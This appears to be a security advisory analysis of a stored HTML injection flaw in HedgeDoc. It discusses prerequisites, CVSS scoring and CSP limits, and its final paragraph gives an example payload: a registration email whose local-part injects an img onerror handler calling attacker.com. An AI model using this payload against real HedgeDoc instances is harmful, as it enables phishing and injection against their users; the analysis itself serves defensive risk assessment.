HedgeDoc CVE-2026-58487

The attacker must be able to register a new account on the target HedgeDoc instance - this is the primary prerequisite. Open or semi-open registration (where an attacker-controlled email domain is accepted) is required; invite-only or admin-provisioned instances are not exploitable by external parties. The injected payload only executes when a victim passively views a page - a publish view, slide view, or collaborative editor session - in which the attacker's display name is rendered. The deployed Content-Security-Policy on the instance must be insufficient to block the specific injected resource or markup being used; the advisory confirms that straightforward inline JavaScript is blocked by HedgeDoc's default CSP, but resource embedding (cross-origin iframes, external images) is not prevented. Exploitation is limited to authenticated, registered attackers (PR:L) against instances with open or attacker-accessible registration, and requires a victim to load an affected page (UI:P).

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N) reflects the key mitigating factors: low privileges (PR:L - registration required), passive user interaction (UI:P - a victim must view an affected page), and limited integrity impact bounded by the CSP. There is no KEV listing and no public exploit code identified, and EPSS data was not provided in the input. The real-world risk is moderate for collaborative or public-facing HedgeDoc deployments where untrusted users can register, because stored injection is persistent and broadly visible. The CSP is a genuine, meaningful partial control that prevents the most damaging outcomes (arbitrary JS execution, session theft via inline scripts), which is reflected in the low CVSS impact scores. However, cross-origin iframe injection enables phishing and UI redressing at scale within a trusted domain, which is non-trivial. For private, invite-only instances with trusted user populations the risk is substantially lower. No conflicting signals are present: the CVSS vector, description, and impact narrative are internally consistent.

An attacker registers a HedgeDoc account using an email address such as '"<img src=x onerror=fetch(attacker.com)>"@example.com', causing HedgeDoc to store the unescaped local-part as their display name. When any other user opens a published note or slide deck where this account's display name is rendered, the injected HTML executes in the victim's browser, potentially embedding a cross-origin iframe pointed at an attacker-controlled phishing page within the trusted HedgeDoc origin. No exploit code is publicly available at time of analysis, but the technique is straightforward for anyone familiar with HTML injection and RFC 5321 email syntax.